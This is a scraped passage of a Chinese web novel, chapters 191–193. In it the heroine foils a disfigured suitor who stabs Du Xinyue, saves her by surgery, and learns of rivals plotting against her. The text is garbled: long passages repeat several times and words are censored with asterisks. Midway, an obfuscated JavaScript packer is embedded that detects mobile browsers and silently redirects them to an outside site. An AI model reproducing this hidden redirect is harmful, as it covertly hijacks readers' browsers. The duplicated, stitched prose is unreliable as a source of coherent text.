他的余光瞥见茶几上有一把泛着冷芒的**,眼底顿时一亮,飞速冲了过去,拿起了那把**。 天不是这样跟我说的……” “我前天说什么了?一个怪物,也好意思上门提亲!你算个什么东西?还以为自己配得上我?快滚!” 杜馨月声音冷厉,再不掩饰自己内心对**的厌恶。 曾几何时,她对**的确是真心的。 但这点真心,随着她查清楚了**的底细,早已经变成了厌恶。 嫁给**,她会被他们母子吸干血的。 她可不要当王宝钏。 杜太太在这时候开口:“直接报警吧!他敢污蔑月月的清白,这种人,就别在外头恶心人了。” 杜馨月点头:“报警吧!免得他再出现在我的面前。也不照镜子看看自己长什么样,配得上我吗?” “不不,月月,我的脸能好的,很快就会好的!” 他也顾不上男人的体面了,直接跪在了杜馨月面前,不停地告诉她,他爱她,他的脸也会好的。 可杜馨月捂住自己的鼻子,说:“身上一股腐尸的味道……好臭!离我远点!” **呆愣在原地。 他完全不敢置信。 他仅仅是毁了容,杜馨月就拿他当垃圾对待? 眼看着佣人已经拿起手机报警,**心里的怒火烧的有三丈高。 杜家其他人的态度已经让他不爽,现在杜馨月也这样,他最后的指望也没了。 来之前,他是高高兴兴,满心欢喜,甚至胜券在握的。 可现在形势急转直下,他跟杜馨月的未来,彻底葬送了。 他的存款都拿来买了礼物。 他妈妈,也被夏灼灼威胁着,自己去自首了。 他一无所有了。 就在这时,夏灼灼的笑声传来。 “将军,你怎么什么东西都吃?这东西吃了,可是要拉肚子的。” **倏然看向夏灼灼。 有些原本模糊的东西,现在突然清晰起来。 “夏灼灼,是你做的!对不对?我的脸,是不是也是你搞的鬼!” 夏灼灼没说话,但脸上半笑不笑的表情已经说明了一切。 就是她弄的,他能如何? 她的脸上满是挑衅。 **的怒火彻底被点燃。 他什么都没了! 马上警察过来把他抓走,他就会留下案底,以后再找工作也难。 他的人生,彻底地被毁掉了。 既然如此,他还怕什么? 这些瞧不起他的、算计害他的人,他们都该死! **的眼睛像是蒙上了一层红蜡油,彻底把他的理智蒙蔽。 他的余光瞥见茶几上有一把泛着冷芒的**,眼底顿时一亮,飞速冲了过去,拿起了那把**。 天不是这样跟我说的……” “我前天说什么了?一个怪物,也好意思上门提亲!你算个什么东西?还以为自己配得上我?快滚!” 杜馨月声音冷厉,再不掩饰自己内心对**的厌恶。 曾几何时,她对**的确是真心的。 但这点真心,随着她查清楚了**的底细,早已经变成了厌恶。 嫁给**,她会被他们母子吸干血的。 她可不要当王宝钏。 杜太太在这时候开口:“直接报警吧!他敢污蔑月月的清白,这种人,就别在外头恶心人了。” 杜馨月点头:“报警吧!免得他再出现在我的面前。也不照镜子看看自己长什么样,配得上我吗?” “不不,月月,我的脸能好的,很快就会好的!” 他也顾不上男人的体面了,直接跪在了杜馨月面前,不停地告诉她,他爱她,他的脸也会好的。 可杜馨月捂住自己的鼻子,说:“身上一股腐尸的味道……好臭!离我远点!” **呆愣在原地。 他完全不敢置信。 他仅仅是毁了容,杜馨月就拿他当垃圾对待? 眼看着佣人已经拿起手机报警,**心里的怒火烧的有三丈高。 杜家其他人的态度已经让他不爽,现在杜馨月也这样,他最后的指望也没了。 来之前,他是高高兴兴,满心欢喜,甚至胜券在握的。 可现在形势急转直下,他跟杜馨月的未来,彻底葬送了。 他的存款都拿来买了礼物。 他妈妈,也被夏灼灼威胁着,自己去自首了。 他一无所有了。 就在这时,夏灼灼的笑声传来。 “将军,你怎么什么东西都吃?这东西吃了,可是要拉肚子的。” **倏然看向夏灼灼。 有些原本模糊的东西,现在突然清晰起来。 “夏灼灼,是你做的!对不对?我的脸,是不是也是你搞的鬼!” 夏灼灼没说话,但脸上半笑不笑的表情已经说明了一切。 就是她弄的,他能如何? 她的脸上满是挑衅。 **的怒火彻底被点燃。 他什么都没了! 马上警察过来把他抓走,他就会留下案底,以后再找工作也难。 他的人生,彻底地被毁掉了。 既然如此,他还怕什么? 这些瞧不起他的、算计害他的人,他们都该死! **的眼睛像是蒙上了一层红蜡油,彻底把他的理智蒙蔽。 他的余光瞥见茶几上有一把泛着冷芒的**,眼底顿时一亮,飞速冲了过去,拿起了那把**。 第191章 计划出意外 看着**拿起了**,夏灼灼知道,**已经彻底进入圈套。 计划走到最后一步了。 她袖子里的手微微攥紧,随时准备反击。 可意料之中的**持刀朝他冲过来的场景并没有出现,**一扭头,竟然拿着刀朝杜馨月跑过去。 夏灼灼吃了一惊,连忙追上去—— 但已经来不及。 她的速度哪怕再快,但**距离杜馨月实在太近。 “小心!” 夏灼灼大呼,杜馨月也尖叫。 杜太太下意识拉住女儿的手,可那把**还是扎进了杜馨月的身体里。 “救命!” “摁住他!” “保护先生!” 屋子里乱成一团。 夏灼灼被忙乱的佣人挡住去路,那边**已经要下第二刀,夏灼灼再顾不得那许多,一把撞开面前挡住她去路的佣人,飞身踩在茶几上,几乎是飞扑出去,将**扑倒在地。 “放开我!我要杀了她!!” **杀红了眼,可他人被夏灼灼扑倒,再想爬起来的时候,佣人们一拥而上,齐齐用身体摁住**。 他手里的刀被一个佣人踢远,夏灼灼也被人扶了起来。 外头早就守着的警员在这时候冲进来,将**控制住。 “不不不!月月!” 杜太太抱住瘫倒在地满身是血的杜馨月恸哭。 “月月!我的月月!” 杜正国看着满地的血,一双眼睛睚眦俱裂。 “混账!我杀了你!” 他冲过去,捡起地上的水果刀就要朝**那边冲过去。 但很快被警察拦住。 “杜先生,你冷静点!” “冷静?!我怎么冷静!” 警察刚要说话,夏灼灼已经来到杜馨月身边。 她飞速检查了一下杜馨月的伤势,心中微松了口气。 “馨月没有刺中要害,快准备车,我给她动手术!”夏灼灼抬高音量说。 “老公!老公你快听夏小姐的!”杜太太哭着说。 杜正国终于扔掉了手里的水果刀,准备车子去了。 而杜老爷子也听到动静,从楼上下来。 看到这场景,他浑身发颤,差点晕过去。 “夏小姐,你一定要救我孙女!”他面色发白地说。 夏灼灼点头。 “我会。” 不多时,杜馨月被抬到车上,杜正国亲自开车 。 前面有警车开路,一路畅通。 夏灼灼用力按住杜馨月的伤口,叫她不要睡着。 “你别睡,坚持到医院,我一定保证你没事。我的医术,你见过的。” 杜馨月想说话,可是一张嘴就吐血。 “别说话,不用说话,你相信我就好。别睡。” 杜馨月眨了一下眼睛。 但她觉得很冷,很快又开始犯困。 夏灼灼不停喊她。 …… 杜馨月觉得自己做了一个很长的梦。 梦里,她嫁给了**。 一开始夫妻相处融洽,直到她怀上**的孩子,柳月茹出现了。 她极尽所能地折磨她,**对她的态度也一百八十度转折。 梦里的时光过得很快,她很快衰老,而**还是那么年轻。 他跟外面的女人搭上了。 杜馨月骂他,可他反手就是一个耳光。 杜馨月骤然睁开眼。 入眼是一片雪白的天花板,空气中弥漫着消毒水的气味。 “你醒了?” 熟悉的声音响起。 杜馨月侧眸看过去,看到了夏灼灼的脸。 她声音干哑地开口:“我还活着?” 夏灼灼笑了。 “你当然还活着,你不是已经知道,我就是京都那位很出名的神医小姐了吗?” 杜馨月想坐起来,但胸口一阵疼痛,只得躺回去了。 “你就别瞎动弹了,你这情况,一周后才能下地。” 杜馨月点点头,问:“我爸妈呢?” “你爸妈刚走,他们守了你两天两夜。我刚把他们劝回去,要叫他们回来吗?” 杜馨月说不用,又问起**。 夏灼灼道:“蓄意**,现在还在看守所。我给他找了律师,他最后会去精神病院,永远出不来。” ——这是两个人一早就打算好的。 去监狱,有点便宜**。 因为杜馨月没死,**如果表现良好,早晚会放出来。 但让他成为一个疯子……能不能放出来,就是夏灼灼说了算了。 柳月茹去自首了,夏灼灼是他名义上的唯一亲人,她有权决定他什么时候能出来。 所以让**跟一群疯子待在一起,才是更好的“归宿”。 “我们的计划完成了。”杜馨月扯唇笑起来,多少有点没心没肺。 “可是你差点**……” 杜馨月受伤的位置距离心脏非常近,她费了很大功夫,才把人救回来。 “可是我现在醒过来了。”杜馨月说。 夏灼灼深深看了她一眼,说:“抱歉,我什么都算到了,但是没算到,他最想杀的人不是我,而是你……” 按照她原来的猜测,**会朝她冲过来。 她完全有能力自保,**伤不了她。 可她明明暗示了**,是自己让他毁了容,但**第一个要杀的人,却选了杜馨月。 “我跟你保证过,不会让你有危险,可是还是……” “你又不是神仙,怎么能什么都算得到?现在这样的结局,已经很好了。” 至于**为什么第一个想杀的人是她,这已经不重要了。 她懒得再去揣测**的心理。 夏灼灼张了张嘴,千言万语只汇聚成了一个“嗯”。 “我做了一个梦……”杜馨月说起了自己的梦境。 夏灼灼安静听完,道:“这个梦永远不会实现了。” “是啊,真是太好了……” 如果不是夏灼灼,她真的,大概率会嫁给**。 而梦境里的事情,十有**会发生。 是夏灼灼拯救了她的人生。 哪怕受了点伤差点死掉,但最后她挺过来了。 所以这样的结局,真的是最好的结局了。 “对了。”杜馨月问:“你那天跟我说,**那个村子里的人全是人贩子……柳月茹自首去了,那他们……” “就在今天上午,大批警力前往村里,现在估计全都抓起来了。” 杜馨月微笑:“真是太好了。” 杜馨月很快又睡着了。 她太虚弱,需要好好补一觉。 夏灼灼一直在旁边陪着,直到杜家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346946|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人来换班。 等她回到家,已经是晚上八点多了。 司慎行的电话在这时候打过来,跟她说明所有涉嫌拐卖人口的人,已经全部抓获,一个都没跑掉。 她拜托司慎行的事情,就是让他在柳月茹自首之后,亲自跟警方的人交涉,让他们去村里抓人。 结果司慎行不仅这么做了,还亲自前往那里。 有司慎行的人和警方的人通力合作,才没有一个漏网之鱼。 “谢谢。”夏灼灼道谢。 “不是说,我们之间不说谢谢吗?” “我是替以前的我谢谢你。” 那个地方,是她小时候的噩梦之源。 如果没有那个村子,她大概……只会是夏家七小姐。 没有别的身份,也就不用背负那么大的责任。 想跟谁在一起,就可以跟谁在一起,不用考虑那么多。 电话那头的司慎行说:“如果是小时候的你说的谢谢,那我接受了。” 夏灼灼听着他那头有打转向灯的声音,问:“你还没回来?” “马上下高速了。” 夏灼灼在心里规划了下,开口道:“要顺路来一下我家吗?” 从高速路口下来去枫林晚,只需要稍微往辅道走一段就可以路过。 司慎行立刻说:“当然来,不顺利也来!” 夏灼灼说:“那我等你。” “你不要提前出来等,等我打给你再出门。秋天晚上气温低,别冻感冒了。” 夏灼灼心里淌过一道暖流。 “好。” 挂了电话,夏灼灼来到床头柜,拉出了最后一层的抽屉。 里面放着两个礼盒。 夏灼灼打开了其中一个礼盒。 里面放着一套珠宝,在灯光的照耀下熠熠生辉。 马场的事情之后,她答应给司慎行买礼物,**出事之前,她就去了一家珠宝店,给司慎行定制了一枚男士胸针。 昨天珠宝店打电话给她,问她要不要送上门,她怕做得不好,自己亲自去取了。 结果店员拿给她两个礼盒。 店员告诉她,是一个叫夏怀武的,一个多月前在店里定制的。 因为联系不上,加上地址跟夏灼灼填的地址是同一个,所以让夏灼灼顺便带回去。 一打开,夏灼灼就知道夏怀武这套珠宝要送给谁。 因为手链上刻了她的名字。 灼灼。 夏灼灼想起来,那次是她、夏怀武,还有夏六一起去逛街。 夏怀武中途不见了人,后来失踪了两天,查到是被抓到了古武堂。 原来那天,他是去给自己定制这套珠宝才被古武堂的人误以为他偷了古籍,才被抓走的。 眼角微微有些发烫。 她用指腹按了按,把情绪收回去,给谷仔打了个电话。 她开门见山地说:“查一查一家叫蒂铂轩的珠宝定制店,顺便叫人暗中盯着。” “这家店有什么问题吗?” “是古武堂手底下的店铺。” “是,我马上派人过去。” 挂断电话,夏灼灼的心情仍有些复杂。 其实仔细想来,夏怀武虽然愚蠢讨人嫌,却是没做过实际伤害她的事。 也不知道他在海岛适应得怎么样。 不过她从来不在一个情绪里陷入太久,很快又开始思索古武堂的事。 第192章 我不是你的女人 夏怀武走之前,提起一家酒店,她派人去查了,的确是古武堂以前的产业。 如果夏怀武不是古武堂的人,根本查不到这家酒店。 夏灼灼接手这件事之后,就去查了酒店。 发现这家酒店在古武堂出事之后,就已经被转手了。 而且还转了两手。 之前所有古武堂留下来的痕迹都被清理得一干二净,这条线索也就此断了。 但现在阴差阳错,让她把目光放到了这家珠宝店身上。 夏怀武也查过这家珠宝店,但他能力有限,查不出什么,就以为这家珠宝店跟古武堂没有联系了。 但夏灼灼的人不是吃素的。 如果珠宝店有问题,一定能查出来。 其实现在古武堂早就不成气候了,不继续追查也没关系,但她隐隐总是对古武堂有些不安。 夏灼灼等待司慎行的时间,弄清楚了自己为什么会觉得不安。 当初古武堂针对暗部,背后一定有人授意。 否则就凭古武堂?他们不敢做这么明显的。 也就是说,古武堂大概率是窦系的人。 夏灼灼隐约有些明白了,为什么暗部跟窦家没有直接的利益冲突,但窦家却容不下暗部。 是因为暗部挡了古武堂的路,也就挡了窦家的路。 想通这一点后,夏灼灼更加坚定要彻底灭了古武堂的心。 就算不是报记仇,也要彻底卸了窦家这条臂膀。 很快手机铃声响起。 是司慎行打过来的。 半个小时的路程,现在才二十分钟。 “怎么了?” 夏灼灼以为他临时有事不来了,才打电话过来,却没想到司慎行说他已经到了。 “这么快?” “来找你,当然得用跑的。” “……” 夏灼灼的脸红起来。 她很庆幸司慎行是在电话里说这句话,不然他就要看到她通红的脸了。 “我现在下楼。” “好,不着急,下楼梯的时候慢一点,别摔了,我不会跑的。” 夏灼灼的脸更红了。 “我又不是三岁小孩!” “我喜欢把自己的女人当小孩子宠。” “……我还不是你的女人。” “以后就会是了。” “……” 夏灼灼没说话,却也没反驳,只是把电话挂断了。 她没着急下楼,而是 先洗了把脸,把脸上的热度散去了,这才下楼。 走出大门,司慎行背靠着车,正在抽烟。 看她过来,立刻就把烟头扔了,拿皮鞋踩了下,朝她走过来。 “只有你一个人吗?”夏灼灼问:“你自己从山里开车回来的?” “阿麦开的,我让他先回去了。” 可怜的阿麦,被丢在高速路口,等着手底下的人来接。 夏灼灼并不知道这些。 她点点头,问:“外面的风吹,要不要进去坐会儿?” “算了。”司慎行说:“大晚上的,不进去了。” 他很想进去,但他也要顾及夏灼灼的名声。 大半夜的,去人家姑娘家里,对夏灼灼不好。 夏太太对他也会有意见。 没结婚之前,这些都要考虑到。 夏灼灼也没坚持,把手里的礼盒递给他。 “给你的。” 司慎行心中一动。 “上次答应给我的礼物?” “嗯。” “我可以打开吗?” “当然。” 司慎行忙拆开。 像是第一次收到礼物的孩子,黑眸很亮。 打开礼盒,里面静静躺着一枚带钻胸针。 钻是黑钻,低调奢华,设计别出心裁。 司慎行看得出来是定制的。 他很喜欢,翻来覆去地看,说:“很好看,我很喜欢。” 设计图是夏灼灼自己画的,珠宝店只是照做,所以市面上没有第二枚了。 “跟你被烧的酒店比起来,这算不了什么。” 司慎行跟她说:“其实也没损失多少,就烧了半层,现在已经在重新装修了。” 夏灼灼对于这件事的抱歉这才彻底消散。 两人没聊多久,司慎行就叫她回去了。 秋天的晚上气温还是挺低的,昼夜气**差很大,他怕夏灼灼感冒。 夏灼灼转身那一刻,竟然感到了一丝不舍。 她自己都被自己的情绪吓了一跳。 什么时候开始,她对司慎行竟然有了依赖,开始舍不得跟他分开了。 这一晚,夏灼灼和司慎行都睡得很好。 但京都那边,却有人接连几天都睡不好。 “啪——” 窦部长又摔破了一个茶杯。 视频那头的孙市吓得瑟瑟发抖。 窦部长旁边的窦斯齐脸色也很难看。 明明 是很完美的计划,孙峥跃却给搞砸了。 “混账!” 窦部长气得手都在发抖。 不仅是气孙峥跃没用,路全都铺好了,他却还走废了;还气孙峥跃事败之后瞒着他。 事情都已经过去了半周了,他是今天打电话给司慎行,试探他的态度才知道,孙峥跃那件事没成。 司慎行说:“若想人不知,除非己莫为。窦部长,这是第一次,也是最后一次。再有下一次,我们就做不成朋友了。” 窦部长心虚,只一味干笑。 临到挂电话,司慎行还嘲讽他:“窦部长,我要是您,可不好意思给我打电话。” 气得窦部长肺都要炸了。 偏偏他还只能陪好脸,装作什么都不知情。 在司慎行面前,好像他才是那个小辈。 “混账东西!事情不成,就该告诉我,你瞒着我,简直让老子丢尽了脸!” 孙峥跃吓得脸色苍白。 他也是害怕,才不敢说。 没想到一瞒,反而让窦部长更生气了。 “对不起,窦部,下次我绝对……” 窦斯齐打断他:“出了这样的事,下次,我们就不好再下手了,只能用好处吸引他站到我们这边。” 窦部长已经不想说话了。 他很后悔派了一个蠢货去沪城。 调度是大事,得上头批准。 好不容易批准下来,他不能也没办法换人了。 只能说他眼光太差,选错了人,也小瞧了司慎行。 窦斯齐见自己的父亲没说话,便直接对孙峥跃说:“想办法给司慎行一点好处,不能继续把他往外推了。” 孙峥跃连忙应声,又抬起了夏灼灼。 “司慎行跟夏家的那位七小姐走得很近,夏家又是党家的人,这样下去,对我们很不利。我们要不要除了那个夏小姐?” “用不着。”窦斯齐开口道:“现在最忌讳对司慎行身边的人下手,刚出了兰花的事,他一猜就能猜到是我们干的。” 孙峥跃只能答应。 窦斯齐突然又开口,对窦部长说:“爸,斯礼这周给家里打了两次电话了,说自己很痛苦,我想着,要不要想办法先让他出来?” 窦部长诧异看了窦斯齐一眼。 “你不是不希望他出来吗?” “他是我亲弟弟,他在里面过得不好,我心里也难过。之前建议您暂时别放他出来,只是因为他在里面过得也很好。现在冯邵阳那个铁面无 私的人严查监狱乱象,我也不舍得弟弟在里面受苦。” 窦部长对于长子这个说法半信半疑。 但能让小儿子出来,他心里自然高兴。 人的心都是偏的。 比起这个长子,他更偏爱二婚太太跟自己生的小儿子。 这个长子,跟窦老先生太像了。 有时候他都觉得窦斯齐不是他的儿子,而是他的老子。 窦部长不喜欢这种感觉。 所以哪怕长子处处懂事,机警聪慧,他还是觉得那个更会卖乖讨巧的小儿子更可爱一些。 “那就这么办吧,我马上开始安排他出来。” 窦斯齐点点头,眼底却有不起眼的阴翳一闪而过。 世人都说,有后妈就有后爸,这话说的不错。 不过他并不担心自己的位置会被弟弟取代。 那个弟弟,自小在他的误导下已经走歪了,回不正了。 用他对付夏灼灼,也是他最后的一点价值了。 他应当庆幸,他这样的废物,也有一天能为他们的大事做出点贡献。 心里翻腾起万丈波澜,窦斯齐面上还是那副平静稳重的模样。 “等程序走完,到时候,我亲自去接他出来。免得他回来之前还闹出点什么事。”窦斯齐说。 窦部长摆摆手:“他不会的,在里面肯定也学乖了。” 但片刻后,还是说:“既然你愿意去,那就去吧。” 窦斯齐点头,却在窦部长没注意的时候,递给孙峥跃一个眼神。 那是让他晚些时候再单独打电话给自己。 孙峥跃点头答应。 转眼又过去几天,夏灼灼那边已经查到,那家珠宝店的确还是古武堂的产业。 “把珠宝店隔壁的店面盘下来。”夏灼灼说:“时刻关注他们的动向。” “是!”谷仔答应着。 夏灼灼离开暗部后,去了医院。 今天除了去看望杜馨月之外,她还要给冯淮安做手术。 冯淮安前天就已经住院了,提前做一些检查。 夏灼灼先去了杜馨月那里。 她年轻,恢复得很好,现在已经能下床走动了。 看到夏灼灼过来,她不掩饰自己的高兴,欢快地接待了她。 “我跟你说,我妈去了趟监狱。” 夏灼灼的眼皮跳了下。 “去看柳月茹?” 杜馨月瞪大眼睛,惊异地说:“真是什么都瞒不过你。” “她去做什么了?” “也没什么,就是告诉她,她儿子现在在精神病院呆着呢。还给她看了她儿子在精神病里住的一段录像。” “什么录像?”夏灼灼问。 私的人严查监狱乱象,我也不舍得弟弟在里面受苦。” 窦部长对于长子这个说法半信半疑。 但能让小儿子出来,他心里自然高兴。 人的心都是偏的。 比起这个长子,他更偏爱二婚太太跟自己生的小儿子。 这个长子,跟窦老先生太像了。 有时候他都觉得窦斯齐不是他的儿子,而是他的老子。 窦部长不喜欢这种感觉。 所以哪怕长子处处懂事,机警聪慧,他还是觉得那个更会卖乖讨巧的小儿子更可爱一些。 “那就这么办吧,我马上开始安排他出来。” 窦斯齐点点头,眼底却有不起眼的阴翳一闪而过。 世人都说,有后妈就有后爸,这话说的不错。 不过他并不担心自己的位置会被弟弟取代。 那个弟弟,自小在他的误导下已经走歪了,回不正了。 用他对付夏灼灼,也是他最后的一点价值了。 他应当庆幸,他这样的废物,也有一天能为他们的大事做出点贡献。 心里翻腾起万丈波澜,窦斯齐面上还是那副平静稳重的模样。 “等程序走完,到时候,我亲自去接他出来。免得他回来之前还闹出点什么事。”窦斯齐说。 窦部长摆摆手:“他不会的,在里面肯定也学乖了。” 但片刻后,还是说:“既然你愿意去,那就去吧。” 窦斯齐点头,却在窦部长没注意的时候,递给孙峥跃一个眼神。 那是让他晚些时候再单独打电话给自己。 孙峥跃点头答应。 转眼又过去几天,夏灼灼那边已经查到,那家珠宝店的确还是古武堂的产业。 “把珠宝店隔壁的店面盘下来。”夏灼灼说:“时刻关注他们的动向。” “是!”谷仔答应着。 夏灼灼离开暗部后,去了医院。 今天除了去看望杜馨月之外,她还要给冯淮安做手术。 冯淮安前天就已经住院了,提前做一些检查。 夏灼灼先去了杜馨月那里。 她年轻,恢复得很好,现在已经能下床走动了。 看到夏灼灼过来,她不掩饰自己的高兴,欢快地接待了她。 “我跟你说,我妈去了趟监狱。” 夏灼灼的眼皮跳了下。 “去看柳月茹?” 杜馨月瞪大眼睛,惊异地说:“真是什么都瞒不过你。” “她去做什么了?” “也没什么,就是告诉她,她儿子现在在精神病院呆着呢。还给她看了她儿子在精神病里住的一段录像。” “什么录像?”夏灼灼问。 私的人严查监狱乱象,我也不舍得弟弟在里面受苦。” 窦部长对于长子这个说法半信半疑。 但能让小儿子出来,他心里自然高兴。 人的心都是偏的。 比起这个长子,他更偏爱二婚太太跟自己生的小儿子。 这个长子,跟窦老先生太像了。 有时候他都觉得窦斯齐不是他的儿子,而是他的老子。 窦部长不喜欢这种感觉。 所以哪怕长子处处懂事,机警聪慧,他还是觉得那个更会卖乖讨巧的小儿子更可爱一些。 “那就这么办吧,我马上开始安排他出来。” 窦斯齐点点头,眼底却有不起眼的阴翳一闪而过。 世人都说,有后妈就有后爸,这话说的不错。 不过他并不担心自己的位置会被弟弟取代。 那个弟弟,自小在他的误导下已经走歪了,回不正了。 用他对付夏灼灼,也是他最后的一点价值了。 他应当庆幸,他这样的废物,也有一天能为他们的大事做出点贡献。 心里翻腾起万丈波澜,窦斯齐面上还是那副平静稳重的模样。 “等程序走完,到时候,我亲自去接他出来。免得他回来之前还闹出点什么事。”窦斯齐说。 窦部长摆摆手:“他不会的,在里面肯定也学乖了。” 但片刻后,还是说:“既然你愿意去,那就去吧。” 窦斯齐点头,却在窦部长没注意的时候,递给孙峥跃一个眼神。 那是让他晚些时候再单独打电话给自己。 孙峥跃点头答应。 转眼又过去几天,夏灼灼那边已经查到,那家珠宝店的确还是古武堂的产业。 “把珠宝店隔壁的店面盘下来。”夏灼灼说:“时刻关注他们的动向。” “是!”谷仔答应着。 夏灼灼离开暗部后,去了医院。 今天除了去看望杜馨月之外,她还要给冯淮安做手术。 冯淮安前天就已经住院了,提前做一些检查。 夏灼灼先去了杜馨月那里。 她年轻,恢复得很好,现在已经能下床走动了。 看到夏灼灼过来,她不掩饰自己的高兴,欢快地接待了她。 “我跟你说,我妈去了趟监狱。” 夏灼灼的眼皮跳了下。 “去看柳月茹?” 杜馨月瞪大眼睛,惊异地说:“真是什么都瞒不过你。” “她去做什么了?” “也没什么,就是告诉她,她儿子现在在精神病院呆着呢。还给她看了她儿子在精神病里住的一段录像。” “什么录像?”夏灼灼问。 私的人严查监狱乱象,我也不舍得弟弟在里面受苦。” 窦部长对于长子这个说法半信半疑。 但能让小儿子出来,他心里自然高兴。< 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但片刻后,还是说:“既然你愿意去,那就去吧。” 窦斯齐点头,却在窦部长没注意的时候,递给孙峥跃一个眼神。 那是让他晚些时候再单独打电话给自己。 孙峥跃点头答应。 转眼又过去几天,夏灼灼那边已经查到,那家珠宝店的确还是古武堂的产业。 “把珠宝店隔壁的店面盘下来。”夏灼灼说:“时刻关注他们的动向。” “是!”谷仔答应着。 夏灼灼离开暗部后,去了医院。 今天除了去看望杜馨月之外,她还要给冯淮安做手术。 冯淮安前天就已经住院了,提前做一些检查。 夏灼灼先去了杜馨月那里。 她年轻,恢复得很好,现在已经能下床走动了。 看到夏灼灼过来,她不掩饰自己的高兴,欢快地接待了她。 “我跟你说,我妈去了趟监狱。” 夏灼灼的眼皮跳了下。 “去看柳月茹?” 杜馨月瞪大眼睛,惊异地说:“真是什么都瞒不过你。” “她去做什么了?” “也没什么,就是告诉她,她儿子现在在精神病院呆着呢。还给她看了她儿子在精神病里住的一段录像。” “什么录像?”夏灼灼问。 私的人严查监狱乱象,我也不舍得弟弟在里面受苦。” 窦部长对于长子这个说法半信半疑。 但能让小儿子出来,他心里自然高兴。 人的心都是偏的。 比起这个长子,他更偏爱二婚太太跟自己生的小儿子。 这个长子,跟窦老先生太像了。 有时候他都觉得窦斯齐不是他的儿子,而是他的老子。 窦部长不喜欢这种感觉。 所以哪怕长子处处懂事,机警聪慧,他还是觉得那个更会卖乖讨巧的小儿子更可爱一些。 “那就这么办吧,我马上开始安排他出来。” 窦斯齐点点头,眼底却有不起眼的阴翳一闪而过。 世人都说,有后妈就有后爸,这话说的不错。 不过他并不担心自己的位置会被弟弟取代。 那个弟弟,自小在他的误导下已经走歪了,回不正了。 用他对付夏灼灼,也是他最后的一点价值了。 他应当庆幸,他这样的废物,也有一天能为他们的大事做出点贡献。 心里翻腾起万丈波澜,窦斯齐面上还是那副平静稳重的模样。 “等程序走完,到时候,我亲自去接他出来。免得他回来之前还闹出点什么事。”窦斯齐说。 窦部长摆摆手:“他不会的,在里面肯定也学乖了。” 但片刻后,还是说:“既然你愿意去,那就去吧。” 窦斯齐点头,却在窦部长没注意的时候,递给孙峥跃一个眼神。 那是让他晚些时候再单独打电话给自己。 孙峥跃点头答应。 转眼又过去几天,夏灼灼那边已经查到,那家珠宝店的确还是古武堂的产业。 “把珠宝店隔壁的店面盘下来。”夏灼灼说:“时刻关注他们的动向。” “是!”谷仔答应着。 夏灼灼离开暗部后,去了医院。 今天除了去看望杜馨月之外,她还要给冯淮安做手术。 冯淮安前天就已经住院了,提前做一些检查。 夏灼灼先去了杜馨月那里。 她年轻,恢复得很好,现在已经能下床走动了。 看到夏灼灼过来,她不掩饰自己的高兴,欢快地接待了她。 “我跟你说,我妈去了趟监狱。” 夏灼灼的眼皮跳了下。 “去看柳月茹?” 杜馨月瞪大眼睛,惊异地说:“真是什么都瞒不过你。” “她去做什么了?” “也没什么,就是告诉她,她儿子现在在精神病院呆着呢。还给她看了她儿子在精神病里住的一段录像。” “什么录像?”夏灼灼问。 私的人严查监狱乱象,我也不舍得弟弟在里面受苦。” 窦部长对于长子这个说法半信半疑。 但能让小儿子出来,他心里自然高兴。 人的心都是偏的。 比起这个长子,他更偏爱二婚太太跟自己生的小儿子。 这个长子,跟窦老先生太像了。 有时候他都觉得窦斯齐不是他的儿子,而是他的老子。 窦部长不喜欢这种感觉。 所以哪怕长子处处懂事,机警聪慧,他还是觉得那个更会卖乖讨巧的小儿子更可爱一些。 “那就这么办吧,我马上开始安排他出来。” 窦斯齐点点头,眼底却有不起眼的阴翳一闪而过。 世人都说,有后妈就有后爸,这话说的不错。 不过他并不担心自己的位置会被弟弟取代。 那个弟弟,自小在他的误导下已经走歪了,回不正了。 用他对付夏灼灼,也是他最后的一点价值了。 他应当庆幸,他这样的废物,也有一天能为他们的大事做出点贡献。 心里翻腾起万丈波澜,窦斯齐面上还是那副平静稳重的模样。 “等程序走完,到时候,我亲自去接他出来。免得他回来之前还闹出点什么事。”窦斯齐说。 窦部长摆摆手:“他不会的,在里面肯定也学乖了。” 但片刻后,还是说:“既然你愿意去,那就去吧。” 窦斯齐点头,却在窦部长没注意的时候,递给孙峥跃一个眼神。 那是让他晚些时候再单独打电话给自己。 孙峥跃点头答应。 转眼又过去几天,夏灼灼那边已经查到,那家珠宝店的确还是古武堂的产业。 “把珠宝店隔壁的店面盘下来。”夏灼灼说:“时刻关注他们的动向。” “是!”谷仔答应着。 夏灼灼离开暗部后,去了医院。 今天除了去看望杜馨月之外,她还要给冯淮安做手术。 冯淮安前天就已经住院了,提前做一些检查。 夏灼灼先去了杜馨月那里。 她年轻,恢复得很好,现在已经能下床走动了。 看到夏灼灼过来,她不掩饰自己的高兴,欢快地接待了她。 “我跟你说,我妈去了趟监狱。” 夏灼灼的眼皮跳了下。 “去看柳月茹?” 杜馨月瞪大眼睛,惊异地说:“真是什么都瞒不过你。” “她去做什么了?” “也没什么,就是告诉她,她儿子现在在精神病院呆着呢。还给她看了她儿子在精神病里住的一段录像。” “什么录像?”夏灼灼问。 第193章 阻挠手术 杜馨月好笑地说起录像内容。 “一个病人把自己的尿拉到**的水壶里**喝了一口才察觉不对跟那个病人打了起来。**落了下风被打成了猪头。哦不应该是鬼头。他的脸完全像个鬼了。” 夏灼灼挑了下眉问柳月茹的反应。 杜馨月收起了笑容说:“她气疯了要打我妈还好哪怕在家属会见室犯人的手也拷了**。狱警把她带去关禁闭了。听说监狱里的禁闭很可怕。” 夏灼灼深深看了杜馨月一眼问:“你怎么想?” “我很庆幸没有嫁给**。”杜馨月抓紧自己的病号服衣角说:“我妈说柳月茹当时像个能**的厉鬼可一开始我妈没拿出录像的时候她是和颜悦色的看不出来是个骨子里那么疯狂的人。” 顿了顿她补了一句:“我很后怕。” 夏灼灼轻轻握住杜馨月有些发抖的手。 “别怕他们母子再没人能伤到你。” 杜馨月点头这才又笑了。 她是有点小任性也算不上有多好说话 是夏灼灼救了她。 